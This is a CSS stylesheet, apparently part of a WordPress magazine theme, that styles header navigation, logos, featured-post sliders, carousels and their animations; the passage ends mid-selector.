#navigation.header-4 .penci-menuhbg-toggle,
#navigation.header-4 .top-search-classes,
#navigation.header-5 .pcheader-icon,
#navigation.header-5 .penci-menuhbg-toggle,
#navigation.header-5 .top-search-classes,
#navigation.header-6 .pcheader-icon,
#navigation.header-6 .penci-menuhbg-toggle,
#navigation.header-6 .top-search-classes {
	margin-left: 15px
}
#header {
	margin-bottom: var(--pchd-mg);
	position: relative
}
.elementor-template-full-width #header,
.elementor-template-full-width .penci-page-header-wrap,
.page-template-page-fullwidth #header,
.page-template-page-fullwidth .penci-page-header-wrap,
.single.elementor-template-full-width .post {
	margin-bottom: 0
}
.elementor-template-full-width .clear-footer,
.page-template-page-fullwidth .clear-footer {
	height: 0;
	margin-bottom: 0
}
.header-header-1.has-bottom-line,
.header-header-4.has-bottom-line,
.header-header-7.has-bottom-line {
	border-bottom: 1px solid #ececec
}
.header-header-1.has-bottom-line.penci-vernav-hide-innerhead,
.header-header-4.has-bottom-line.penci-vernav-hide-innerhead,
.header-header-7.has-bottom-line.penci-vernav-hide-innerhead {
	border-bottom: none
}
#header .inner-header {
	width: 100%;
	background-size: cover;
	position: relative;
	background-position: center center;
	background-repeat: no-repeat;
	height: auto
}
.penci-header-trans #header .inner-header {
	background: 0 0 !important
}
#header .inner-header .container {
	padding: 40px 0;
	text-align: center;
	position: relative;
	overflow: hidden
}
.header-style-header-3 #header .inner-header .container {
	display: table
}
@media only screen and (max-width:767px) {
	.header-style-header-3 #header .inner-header .container {
		display: block
	}
}
#logo {
	text-align: center
}
.container.align-left-logo #logo {
	text-align: left
}
.container.has-banner #logo {
	display: table-cell;
	vertical-align: middle;
	width: 400px
}
.container.has-banner .header-banner {
	display: table-cell;
	vertical-align: middle;
	width: 770px;
	text-align: right
}
.penci-header-trans .penci-header-wrap {
	position: absolute;
	z-index: 10000;
	left: 0;
	right: 0
}
.penci-header-trans .penci-header-wrap #header {
	margin-bottom: 0
}
.penci-header-trans .penci-header-second {
	box-shadow: none;
	border: 0
}
.penci-header-trans .penci-header-signup-form {
	margin-top: 0
}
.penci-header-trans #logo .penci-logo-sticky,
.penci-header-trans .is-sticky #logo .penci-logo {
	display: none
}
.penci-header-trans .is-sticky #logo .penci-logo-sticky {
	display: block;
	position: static;
	visibility: visible;
	opacity: 1
}
.penci-header-trans #navigation.sticky.sticky-active #logo .penci-logo-sticky {
	display: inline
}
.penci-header-trans #navigation.sticky.sticky-active #logo .penci-logo {
	display: none
}
@media only screen and (min-width:961px) {
	#navigation.header-11 {
		background: 0 0 !important
	}
	#navigation.header-11>.container {
		background: #fff;
		box-shadow: 0 0 30px 0 rgba(0, 0, 0, .1);
		padding-left: 20px;
		padding-right: 20px
	}
	#navigation.header-11.header-layout-bottom {
		box-shadow: none;
		border: 0
	}
	.penci-header-trans .header-style-header-1 .penci-header-wrap>#navigation:not(.sticky-active),
	.penci-header-trans .header-style-header-10 #header>#navigation:not(.sticky-active),
	.penci-header-trans .header-style-header-11 #header>#navigation:not(.sticky-active) .container,
	.penci-header-trans .header-style-header-2 #header>#navigation:not(.sticky-active),
	.penci-header-trans .header-style-header-3 #header>#navigation:not(.sticky-active),
	.penci-header-trans .header-style-header-4 .penci-header-wrap>#navigation:not(.sticky-active),
	.penci-header-trans .header-style-header-5 #header>#navigation:not(.sticky-active),
	.penci-header-trans .header-style-header-6 #header>#navigation:not(.sticky-active),
	.penci-header-trans .header-style-header-7 .penci-header-wrap>#navigation:not(.sticky-active),
	.penci-header-trans .header-style-header-8 #header>#navigation:not(.sticky-active),
	.penci-header-trans .header-style-header-9 #header>#navigation:not(.sticky-active) {
		background: 0 0 !important;
		border-top-color: transparent !important;
		border-bottom-color: transparent !important
	}
	.penci-header-trans .sticky-wrapper:not(.is-sticky) #navigation,
	.penci-header-trans .sticky-wrapper:not(.is-sticky) #navigation.header-11>.container {
		background: 0 0 !important;
		border-top-color: transparent !important;
		border-bottom-color: transparent !important
	}
	#navigation.header-10.penci-logo-overflow #logo,
	#navigation.header-11.penci-logo-overflow #logo {
		z-index: 199;
		position: relative;
		height: 80px !important;
		line-height: 1 !important
	}
	#navigation.header-10.penci-logo-overflow #logo a,
	#navigation.header-11.penci-logo-overflow #logo a {
		position: absolute;
		top: 0;
		width: 100%;
		left: 50%;
		transform: translateX(-50%);
		-webkit-transform: translateX(-50%)
	}
	#navigation.header-10.penci-logo-overflow #logo img,
	#navigation.header-11.penci-logo-overflow #logo img {
		height: auto !important;
		max-height: inherit;
		margin-top: 0 !important;
		z-index: 199
	}
}
@media only screen and (max-width:960px) {
	.penci-header-trans #navigation.penci-disable-sticky-nav #logo .penci-logo-sticky,
	.penci-header-trans #navigation.sticky #logo .penci-logo-sticky,
	.penci-header-trans .sticky-wrapper #navigation.header-6 #logo .penci-logo-sticky {
		display: inline
	}
	.penci-header-trans #navigation.penci-disable-sticky-nav #logo .penci-logo,
	.penci-header-trans #navigation.sticky #logo .penci-logo,
	.penci-header-trans .sticky-wrapper #navigation.header-6 #logo .penci-logo {
		display: none
	}
}
.header-slogan {
	margin: 17px 0 0 0;
	text-align: center;
	line-height: 1
}
.header-slogan .header-slogan-text {
	margin: 0;
	font-size: 14px;
	font-weight: 700;
	line-height: 1.5;
	font-style: italic;
	color: #313131;
	display: inline-block;
	position: relative;
	font-family: var(--pcbody-font);
	padding: 0 15px;
	vertical-align: top
}
.header-slogan .header-slogan-text:after,
.header-slogan .header-slogan-text:before {
	content: "";
	position: absolute;
	top: 50%;
	height: 1px;
	display: block;
	width: 60px;
	background: var(--pcborder-cl);
	left: 100%
}
.header-slogan .header-slogan-text:before {
	left: auto;
	right: 100%
}
.header-social {
	display: block;
	text-align: center;
	margin: 20px 0 0
}
.header-social .inner-header-social {
	display: inline-block;
	vertical-align: top;
	position: relative
}
.header-social a {
	align-items: center;
	display: inline-flex;
	vertical-align: middle;
	margin-right: 13px
}
.header-social a:last-child {
	margin-right: 0
}
.header-social a i {
	font-size: 14px;
	color: #313131;
	-webkit-transition: all .2s linear;
	-moz-transition: all .2s linear;
	-ms-transition: all .2s linear;
	-o-transition: all .2s linear;
	transition: all .2s linear;
	vertical-align: top
}
.header-social a:hover i {
	color: var(--pcaccent-cl)
}
.featured-area {
	margin-top: calc(var(--pchd-mg) * -1 + 4px);
	margin-bottom: var(--pchd-mg);
	position: relative
}
.penci-block-el.featured-area,
.penci-block-vc.featured-area {
	margin-top: 0 !important;
	margin-bottom: 0 !important
}
.featured-area:after,
.featured-area:before {
	content: "";
	display: table;
	clear: both
}
.featured-area.featured-style-2,
.featured-area.featured-style-6 {
	margin-top: calc(var(--pchd-mg) * -1 + 10px)
}
.penci-vernav-enable #header+.featured-area {
	margin-top: calc(var(--pchd-mg) * -1)
}
.penci-vernav-enable #header+.featured-area.featured-style-1,
.penci-vernav-enable #header+.featured-area.featured-style-10,
.penci-vernav-enable #header+.featured-area.featured-style-12,
.penci-vernav-enable #header+.featured-area.featured-style-14,
.penci-vernav-enable #header+.featured-area.featured-style-16,
.penci-vernav-enable #header+.featured-area.featured-style-18,
.penci-vernav-enable #header+.featured-area.featured-style-19,
.penci-vernav-enable #header+.featured-area.featured-style-20,
.penci-vernav-enable #header+.featured-area.featured-style-21,
.penci-vernav-enable #header+.featured-area.featured-style-22,
.penci-vernav-enable #header+.featured-area.featured-style-23,
.penci-vernav-enable #header+.featured-area.featured-style-24,
.penci-vernav-enable #header+.featured-area.featured-style-25,
.penci-vernav-enable #header+.featured-area.featured-style-26,
.penci-vernav-enable #header+.featured-area.featured-style-27,
.penci-vernav-enable #header+.featured-area.featured-style-29.style-30,
.penci-vernav-enable #header+.featured-area.featured-style-32,
.penci-vernav-enable #header+.featured-area.featured-style-35.style-36,
.penci-vernav-enable #header+.featured-area.featured-style-4:not(.style-5),.penci-vernav-enable #header+.featured-area.featured-style-8 {
	margin-top: calc(30px - var(--pchd-mg))
}
.penci-vernav-enable #header+.featured-area.featured-style-28,
.penci-vernav-enable #header+.featured-area.featured-style-38 {
	margin-top: calc(var(--pchd-mg) * -1 + 4px)
}
.penci-vernav-enable #header+.featured-area.featured-style-2,
.penci-vernav-enable #header+.featured-area.featured-style-37,
.penci-vernav-enable #header+.featured-area.featured-style-6 {
	margin-top: calc(var(--pchd-mg) * -1 + 10px)
}
.penci-vernav-enable #header+.penci-header-signup-form {
	margin-top: calc(var(--pchd-mg) * -1)
}
.single.penci-vernav-enable.penci-body-single-style-10.penci-show-pthumb:not(.single-portfolio) #header+.penci-header-signup-form,
.single.penci-vernav-enable.penci-body-single-style-20.penci-show-pthumb:not(.single-portfolio) #header+.penci-header-signup-form,
.single.penci-vernav-enable.penci-body-single-style-4.penci-body-title-bellow.penci-show-pthumb:not(.single-portfolio) #header+.penci-header-signup-form,
.single.penci-vernav-enable.penci-body-single-style-5.penci-show-pthumb:not(.single-portfolio) #header+.penci-header-signup-form,
.single.penci-vernav-enable.penci-body-single-style-7.penci-body-title-bellow.penci-show-pthumb:not(.single-portfolio) #header+.penci-header-signup-form,
.single.penci-vernav-enable.penci-body-single-style-9.penci-body-title-bellow.penci-show-pthumb:not(.single-portfolio) #header+.penci-header-signup-form {
	margin-top: 0
}
.featured-area.featured-video {
	background: #fafafa url(images/loading.gif) no-repeat center center
}
.wrapper-boxed.penci-page-hide-header .featured-area {
	margin-top: 0
}
.dark-layout-enabled .featured-area.featured-video {
	background-color: #2d2d2d;
	background-image: url(images/loading2.gif)
}
.featured-area.featured-video>div {
	visibility: hidden
}
.featured-area.featured-video.loaded-wait>div {
	visibility: visible
}
.featured-area.featured-video.loaded-wait {
	background: 0 0
}
.penci-owl-carousel .owl-item .owl-lazy,
.penci-owl-carousel .owl-item .penci-lazy {
	opacity: 1;
	-webkit-transition: none;
	-moz-transition: none;
	-ms-transition: none;
	-o-transition: none;
	transition: none
}
.penci-owl-carousel .penci-owl-nav .owl-next,
.penci-owl-carousel .penci-owl-nav .owl-prev,
.penci-slick-carousel .slick-arrow {
	width: 34px;
	height: 34px;
	display: inline-block;
	vertical-align: top;
	background: #fff;
	color: #010101;
	font-size: 12px;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	position: absolute;
	z-index: 10;
	top: 50%;
	margin-top: -18px;
	left: 20px;
	line-height: 34px;
	text-align: center;
	opacity: 0;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	border: none
}
.penci-slick-carousel .slick-arrow {
	padding: 0
}
.penci-owl-carousel .penci-owl-nav .owl-next i[class*=" penciicon-"],
.penci-owl-carousel .penci-owl-nav .owl-next i[class^=penciicon-],
.penci-owl-carousel .penci-owl-nav .owl-prev i[class*=" penciicon-"],
.penci-owl-carousel .penci-owl-nav .owl-prev i[class^=penciicon-],
.penci-slick-carousel .slick-arrow i {
	font-weight: 700 !important;
	vertical-align: top
}
.penci-owl-carousel .penci-owl-nav .owl-next i,
.penci-owl-carousel .penci-owl-nav .owl-prev i,
.penci-slick-carousel .slick-arrow i {
	line-height: inherit
}
.penci-nav-visible .penci-owl-nav .owl-next,
.penci-nav-visible .penci-owl-nav .owl-prev {
	opacity: .5
}
.penci-owl-carousel .penci-owl-nav.disabled {
	display: none
}
.penci-owl-carousel .penci-owl-nav.disabled .owl-next,
.penci-owl-carousel .penci-owl-nav.disabled .owl-prev {
	display: none !important
}
.penci-owl-carousel .penci-owl-nav .owl-next,
.penci-slick-carousel .slick-next {
	left: auto;
	right: 20px
}
.penci-owl-carousel:hover .penci-owl-nav .owl-next,
.penci-owl-carousel:hover .penci-owl-nav .owl-prev,
.penci-slick-carousel .slick-arrow {
	opacity: .8
}
.penci-owl-carousel .penci-owl-nav .owl-next:hover,
.penci-owl-carousel .penci-owl-nav .owl-prev:hover,
.penci-slick-carousel .slick-next:hover {
	opacity: 1
}
.penci-custom-slides .penci-owl-carousel .penci-owl-dots,
.penci-owl-carousel .penci-owl-dots {
	position: absolute;
	bottom: 15px !important;
	z-index: 10;
	width: 100%;
	text-align: center;
	left: 0
}
.penci-owl-carousel .penci-owl-dots.disabled {
	display: none !important
}
.penci-custom-slides .penci-owl-carousel .penci-owl-dot,
.penci-owl-carousel .penci-owl-dot {
	display: inline-block;
	margin: 0 3px;
	vertical-align: top;
	background: 0 0;
	border: none
}
.penci-owl-carousel .penci-owl-dot span {
	width: 10px;
	height: 10px;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	border: 2px solid #fff;
	background: rgba(0, 0, 0, .3);
	display: inline-block;
	vertical-align: top;
	transition: .3s all ease-in-out;
	transform: scale(.75)
}
.penci-owl-carousel .penci-owl-dot.active span {
	background: #fff
}
.penci-owl-carousel-slider .penci-owl-dot.active span {
	transform: scale(1)
}
.penci-enSticky .penci-sticky-ct.elementor-column,
.penci-enSticky .penci-sticky-sb.elementor-column {
	display: block !important
}
.penci-featured-content {
	position: absolute;
	display: block;
	top: 50%;
	width: 100%;
	-webkit-transform: translateY(-50%);
	-ms-transform: translateY(-50%);
	transform: translateY(-50%);
	padding: 0 25px;
	z-index: 9
}
.penci-featured-content .feat-text {
	max-width: 480px;
	width: 100%;
	display: block;
	margin: 0 auto;
	padding: 23px 10px 21px;
	position: relative;
	text-align: center;
	-webkit-animation-fill-mode: both;
	-moz-animation-fill-mode: both;
	-ms-animation-fill-mode: both;
	-o-animation-fill-mode: both;
	animation-fill-mode: both;
	-webkit-animation-duration: .7s;
	-moz-animation-duration: .7s;
	-ms-animation-duration: .7s;
	-o-animation-duration: .7s;
	animation-duration: .7s;
	animation-delay: .4s;
	-webkit-animation-delay: .4s;
	animation-delay: var(--pcfs-delay);
	-webkit-animation-delay: var(--pcfs-delay);
	opacity: 0
}
.penci-owl-carousel.penci-owl-loaded .active .penci-featured-content .feat-text,
.penci-slick-carousel .slick-current .penci-featured-content .feat-text,
.penci-slick-carousel .swiper-slide-active .penci-featured-content .feat-text {
	-webkit-animation-name: pencitextslider;
	-moz-animation-name: pencitextslider;
	-o-animation-name: pencitextslider;
	animation-name: pencitextslider
}
@-webkit-keyframes pencifade {
	0% {
		opacity: 0
	}
	100% {
		opacity: 1
	}
}
@-moz-keyframes pencifade {
	0% {
		opacity: 0
	}
	100% {
		opacity: 1
	}
}
@-o-keyframes pencifade {
	0% {
		opacity: 0
	}
	100% {
		opacity: 1
	}
}
@keyframes pencifade {
	0% {
		opacity: 0
	}
	100% {
		opacity: 1
	}
}
@-webkit-keyframes pencitextslider {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, 40px, 0);
		transform: translate3d(0, 40px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@-moz-keyframes pencitextslider {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, 40px, 0);
		transform: translate3d(0, 40px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@-o-keyframes pencitextslider {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, 40px, 0);
		transform: translate3d(0, 40px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes pencitextslider {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, 40px, 0);
		transform: translate3d(0, 40px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@-webkit-keyframes pencitextslide {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, 20px, 0);
		transform: translate3d(0, 20px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@-moz-keyframes pencitextslide {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, 20px, 0);
		transform: translate3d(0, 20px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@-o-keyframes pencitextslide {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, 20px, 0);
		transform: translate3d(0, 20px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes pencitextslide {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, 20px, 0);
		transform: translate3d(0, 20px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
.penci-featured-content .featured-slider-overlay {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 1;
	background: #000;
	opacity: .7
}
.penci-featured-content .feat-text .featured-cat {
	z-index: 3;
	position: relative;
	margin-bottom: 5px;
	-webkit-animation-fill-mode: both;
	-moz-animation-fill-mode: both;
	-ms-animation-fill-mode: both;
	-o-animation-fill-mode: both;
	animation-fill-mode: both;
	-webkit-animation-duration: .7s;
	-moz-animation-duration: .7s;
	-ms-animation-duration: .7s;
	-o-animation-duration: .7s;
	animation-duration: .7s
}
.penci-featured-content .feat-text .featured-cat a {
	color: #fff;
	text-decoration: none !important
}
.penci-featured-content .feat-text h3 {
	z-index: 3;
	position: relative;
	-webkit-animation-fill-mode: both;
	-moz-animation-fill-mode: both;
	-ms-animation-fill-mode: both;
	-o-animation-fill-mode: both;
	animation-fill-mode: both;
	-webkit-animation-duration: .7s;
	-moz-animation-duration: .7s;
	-ms-animation-duration: .7s;
	-o-animation-duration: .7s;
	animation-duration: .7s
}
.penci-featured-content .feat-text h3 a {
	color: #fff;
	font-size: 24px;
	text-transform: uppercase;
	text-decoration: none
}
.penci-featured-content .feat-text .feat-meta {
	z-index: 3;
	position: relative;
	margin-top: 6px;
	-webkit-animation-fill-mode: both;
	-moz-animation-fill-mode: both;
	-ms-animation-fill-mode: both;
	-o-animation-fill-mode: both;
	animation-fill-mode: both;
	-webkit-animation-duration: .7s;
	-moz-animation-duration: .7s;
	-ms-animation-duration: .7s;
	-o-animation-duration: .7s;
	animation-duration: .7s
}
.penci-featured-content .feat-text>:nth-child(1) {
	animation-delay: var(--pcfs-delay)
}
.penci-featured-content .feat-text>:nth-child(2),
.penci-mag-featured-content .feat-text>:nth-child(1) {
	animation-delay: calc(var(--pcfs-delay) + .2s)
}
.penci-featured-content .feat-text>:nth-child(3),
.penci-mag-featured-content .feat-text>:nth-child(2) {
	animation-delay: calc(var(--pcfs-delay) + .4s)
}
.penci-featured-content .feat-text>:nth-child(4),
.penci-mag-featured-content .feat-text>:nth-child(3) {
	animation-delay: calc(var(--pcfs-delay) + .6s)
}
.penci-featured-content .feat-text .feat-meta span,
.penci-fslider-fmeta {
	color: #fff;
	font-size: 13px
}
.feat-meta span>time,
.penci-fslider-fmeta span>time,
span.date>time,
span.side-item-meta>time {
	font-size: inherit;
	color: inherit;
	text-decoration: inherit;
	font-weight: inherit;
	background: 0 0;
	font-style: inherit;
	font-family: inherit
}
.penci-featured-content .feat-text .feat-meta span a,
.penci-fslider-fmeta span a {
	color: #fff;
	font-size: inherit;
	text-decoration: none !important
}
.penci-featured-content .feat-text .feat-meta>span:after,
.penci-fslider-fmeta>span:after,
.popularpost_meta>span:after {
	content: "";
	display: inline-block;
	margin: 0 8px 0 12px;
	width: 0;
	height: 10px;
	border-left: 1px solid;
	opacity: .35;
	color: inherit
}
.penci-featured-content .feat-text .feat-meta>span:last-of-type:after,
.penci-fslider-fmeta>span:last-of-type:after,
.popularpost_meta>span:last-of-type:after {
	content: none;
	display: none
}
.penci-owl-carousel.penci-owl-loaded .active .feat-text .feat-meta,
.penci-owl-carousel.penci-owl-loaded .active .feat-text .featured-cat,
.penci-owl-carousel.penci-owl-loaded .active .feat-text .penci-featured-slider-button,
.penci-owl-carousel.penci-owl-loaded .active .feat-text h3 {
	-webkit-animation-name: pencitextslide;
	-moz-animation-name: pencitextslide;
	-o-animation-name: pencitextslide;
	animation-name: pencitextslide
}
.featured-style-1 .penci-owl-carousel .penci-image-holder:before {
	padding-top: 45%
}
.featured-style-2 .penci-owl-carousel .penci-image-holder:before {
	padding-top: 57%
}
.featured-style-2 .penci-owl-carousel .swiper-slide {
	width: 900px
}
.featured-style-2 .penci-owl-carousel.penci-owl-loaded .active .feat-text .feat-meta,
.featured-style-2 .penci-owl-carousel.penci-owl-loaded .active .feat-text .featured-cat,
.featured-style-2 .penci-owl-carousel.penci-owl-loaded .active .feat-text h3,
.featured-style-2 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-content .feat-text {
	-webkit-animation-name: none;
	-moz-animation-name: none;
	-o-animation-name: none;
	animation-name: none
}
.featured-style-2 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-content .feat-text {
	-webkit-animation-name: pencitextslider;
	-moz-animation-name: pencitextslider;
	-o-animation-name: pencitextslider;
	animation-name: pencitextslider
}
.featured-style-2 .penci-owl-carousel.penci-owl-loaded .active .feat-text .feat-meta,
.featured-style-2 .penci-owl-carousel.penci-owl-loaded .active .feat-text .featured-cat,
.featured-style-2 .penci-owl-carousel.penci-owl-loaded .active .feat-text h3 {
	-webkit-animation-name: pencitextslide;
	-moz-animation-name: pencitextslide;
	-o-animation-name: pencitextslide;
	animation-name: pencitextslide
}
.featured-style-3 .penci-featured-content .feat-text {
	max-width: 500px
}
.featured-style-3 .penci-owl-carousel .penci-image-holder:before {
	padding-top: 0;
	height: 540px
}
.featured-style-4 .penci-owl-carousel .penci-image-holder {
	width: 67%
}
.featured-style-4 .penci-owl-carousel .penci-image-holder:before {
	height: 526px;
	padding-top: 0
}
.penci-slider4-overlay {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 2;
	background: -moz-linear-gradient(left, rgba(255, 255, 255, 0) 26%, #000 65%);
	background: -webkit-gradient(linear, left top, right top, color-stop(26%, #000), color-stop(65%, transparent));
	background: -webkit-linear-gradient(left, rgba(255, 255, 255, 0) 26%, #000 65%);
	background: -o-linear-gradient(left, rgba(255, 255, 255, 0) 26%, #000 65%);
	background: -ms-linear-gradient(left, rgba(255, 255, 255, 0) 26%, #000 65%);
	background: linear-gradient(to right, rgba(255, 255, 255, 0) 26%, #000 65%)
}
.featured-style-4 .penci-featured-content {
	width: 40%;
	padding: 0 20px;
	right: 0;
	z-index: 5
}
.featured-style-4 .penci-featured-content .featured-slider-overlay {
	background: 0 0
}
.featured-style-4 .penci-featured-content .feat-text h3 a {
	font-weight: inherit;
	letter-spacing: 0;
	font-size: 26px;
	transition: all .3s;
	-webkit-transition: all .3s;
	line-height: 1.3;
	font-family: inherit;
	text-transform: uppercase
}
.featured-style-4 .penci-featured-content .feat-text h3 a:hover {
	opacity: .8
}
.featured-style-4 .overlay-link {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 2
}
.featured-style-4 .penci-featured-content .feat-text .featured-cat {
	margin-bottom: 2px
}
.featured-style-37 .penci-image-holder:before,
.featured-style-6 .penci-image-holder:before {
	padding-top: 64%
}
.featured-area .wrapper-item-classess {
	width: 100%;
	position: relative;
	display: inline-block;
	vertical-align: top
}
.penci-item-mag {
	position: relative
}
.featured-style-37 .penci-featured-items-left,
.featured-style-37 .penci-featured-items-right,
.featured-style-6 .wrapper-item .penci-item-mag {
	float: left;
	display: inline-block;
	width: 32.6%;
	position: relative
}
.featured-style-37 .penci-featured-items-left,
.featured-style-6 .wrapper-item .penci-item-1 {
	width: 67.4%;
	border-right: 10px solid transparent
}
.featured-style-6 .wrapper-item .penci-item-2 {
	border-bottom: 5px solid transparent
}
.featured-style-6 .wrapper-item .penci-item-0 {
	border-top: 5px solid transparent
}
.penci-slide-overlay {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0
}
.penci-slide-overlay .overlay-link {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 1;
	background: -moz-linear-gradient(to bottom, rgba(255, 255, 255, 0) 60%, #000 100%);
	background: -webkit-linear-gradient(to bottom, rgba(255, 255, 255, 0) 60%, #000 100%);
	background: -o-linear-gradient(to bottom, rgba(255, 255, 255, 0) 60%, #000 100%);
	background: -ms-linear-gradient(to bottom, rgba(255, 255, 255, 0) 60%, #000 100%);
	background: linear-gradient(to bottom, rgba(255, 255, 255, 0) 60%, #000 100%);
	-webkit-transition: opacity .4s ease 0s;
	-moz-transition: opacity .4s ease 0s;
	-o-transition: opacity .4s ease 0s;
	transition: opacity .4s ease 0s;
	opacity: .7
}
.penci-item-mag:hover .penci-slide-overlay .overlay-link {
	opacity: .9
}
.penci-slide-overlay .penci-mag-featured-content {
	position: absolute;
	bottom: 16px;
	left: 20px;
	padding-right: 20px;
	z-index: 5;
	opacity: 0;
	transition: opacity .4s;
	-webkit-transition: opacity .4s;
	-moz-transition: opacity .4s;
	transition-delay: .3s;
	-webkit-transition-delay: .3s;
	-moz-transition-delay: .3s;
	width: calc(100% - 20px)
}
.featured-area .active .penci-mag-featured-content,
.featured-area .swiper-slide-visible .penci-mag-featured-content,
.featured-style-7 .penci-mag-featured-content,
.featured-style-8 .penci-mag-featured-content {
	opacity: 1
}
.penci-mag-featured-content h3 {
	line-height: 1.3
}
.penci-mag-featured-content h3 a {
	text-decoration: none;
	text-transform: uppercase;
	color: #fff;
	font-size: 16px
}
.penci-mag-featured-content h3 a:hover {
	text-decoration: none
}
.featured-style-37 .penci-item-1 .penci-mag-featured-content h3 a,
.featured-style-6 .penci-item-1 .penci-mag-featured-content h3 a {
	font-size: 24px
}
.penci-mag-featured-content .cat>a.penci-cat-name {
	color: #fff
}
.penci-mag-featured-content .cat {
	margin-bottom: 2px
}
.penci-mag-featured-content .feat-meta>span:after {
	content: "";
	display: inline-block;
	margin: 0 8px 0 12px;
	width: 0;
	height: 8px;
	border-left: 1px solid;
	opacity: .5
}
.penci-mag-featured-content .feat-meta {
	margin-top: 6px
}
.penci-mag-featured-content .feat-meta>span:last-child:after {
	content: none
}
.penci-mag-featured-content .feat-meta a,
.penci-mag-featured-content .feat-meta span {
	color: #fff;
	font-size: 13px
}
.featured-style-7 .penci-image-holder:before {
	padding-top: 100%
}
.featured-area.featured-style-14 .wrapper-item-classess,
.featured-area.featured-style-20 .wrapper-item-classess,
.featured-area.featured-style-21 .wrapper-item-classess,
.featured-area.featured-style-22 .wrapper-item-classess,
.featured-area.featured-style-23 .wrapper-item-classess,
.featured-area.featured-style-25 .wrapper-item-classess,
.featured-area.featured-style-26 .wrapper-item-classess,
.featured-area.featured-style-27 .wrapper-item-classess {
	width: calc(100% + 4px);
	margin-left: -2px
}
.featured-style-8 .penci-image-holder:before {
	padding-top: 135.416%
}
.featured-style-8 .wrapper-item .penci-item-mag {
	position: relative;
	border-left: 2px solid transparent;
	border-right: 2px solid transparent
}
.featured-style-9 .penci-image-holder:before {
	padding-top: 80%
}
.featured-style-9 .penci-mag-featured-content h3 a {
	font-size: 18px
}
.featured-style-9 .wrapper-item .penci-item-mag {
	position: relative
}
.featured-style-10 .penci-image-holder:before {
	padding-top: 120%
}
.featured-style-10 .wrapper-item .penci-item-mag {
	position: relative;
	border-left: 2px solid transparent;
	border-right: 2px solid transparent
}
.featured-style-11 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-15 .penci-slide-overlay .penci-mag-featured-content {
	left: 0;
	padding: 0 20px;
	text-align: center;
	width: 100%
}
.featured-style-11 .penci-image-holder:before {
	padding-top: 56%
}
.featured-style-11 .penci-mag-featured-content h3 a {
	font-size: 24px
}
.featured-style-11 .wrapper-item .penci-item-mag {
	position: relative
}
.featured-style-12 .penci-mag-featured-content h3 a {
	font-size: 18px
}
.featured-style-12 .wrapper-item .penci-item-mag {
	position: relative;
	border-left: 2px solid transparent;
	border-right: 2px solid transparent
}
.featured-style-10 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-12 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-7 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-8 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-9 .penci-slide-overlay .penci-mag-featured-content {
	text-align: center
}
.featured-style-12 .penci-image-holder:before {
	padding-top: 66.6667%
}
.featured-style-13 .wrapper-item .penci-item-mag,
.featured-style-15 .wrapper-item .penci-item-mag {
	float: left;
	display: inline-block;
	width: 25%;
	position: relative
}
.featured-style-13 .wrapper-item .penci-item-1,
.featured-style-15 .wrapper-item .penci-item-2 {
	width: 50%
}
.featured-style-13 .penci-image-holder:before,
.featured-style-15 .penci-image-holder:before {
	padding-top: 0;
	height: 500px
}
.featured-style-13 .penci-mag-featured-content h3 a,
.featured-style-15 .penci-mag-featured-content h3 a {
	font-size: 18px
}
.featured-style-13 .penci-item-1 .penci-mag-featured-content h3 a,
.featured-style-15 .penci-item-2 .penci-mag-featured-content h3 a {
	font-size: 24px
}
.featured-style-14 .wrapper-item .penci-item-mag,
.featured-style-16 .wrapper-item .penci-item-mag {
	float: left;
	display: inline-block;
	width: 25%;
	position: relative;
	border-left: 2px solid transparent;
	border-right: 2px solid transparent
}
.featured-style-14 .wrapper-item .penci-item-1,
.featured-style-16 .wrapper-item .penci-item-2 {
	width: 50%
}
.featured-style-14 .penci-image-holder:before,
.featured-style-16 .penci-image-holder:before {
	padding-top: 0;
	height: 380px
}
.featured-style-16 .penci-item-2 .penci-mag-featured-content {
	left: 0;
	padding: 0 20px;
	text-align: center;
	width: 100%
}
.featured-style-14 .penci-item-1 .penci-mag-featured-content h3 a,
.featured-style-16 .penci-item-2 .penci-mag-featured-content h3 a {
	font-size: 20px
}
.featured-style-17 .wrapper-item .penci-slider17-mag-item {
	float: left;
	display: inline-block;
	width: 25%;
	position: relative
}
.featured-style-17 .wrapper-item .penci-slide17-item-2 {
	width: 50%;
	border-left: 4px solid transparent;
	border-right: 4px solid transparent
}
.featured-style-17 .penci-image-holder:before {
	padding: 0;
	height: 273px
}
.featured-style-17 .penci-slide17-item-2 .penci-image-holder:before {
	height: 550px
}
.featured-style-17 .wrapper-item .penci-item-1,
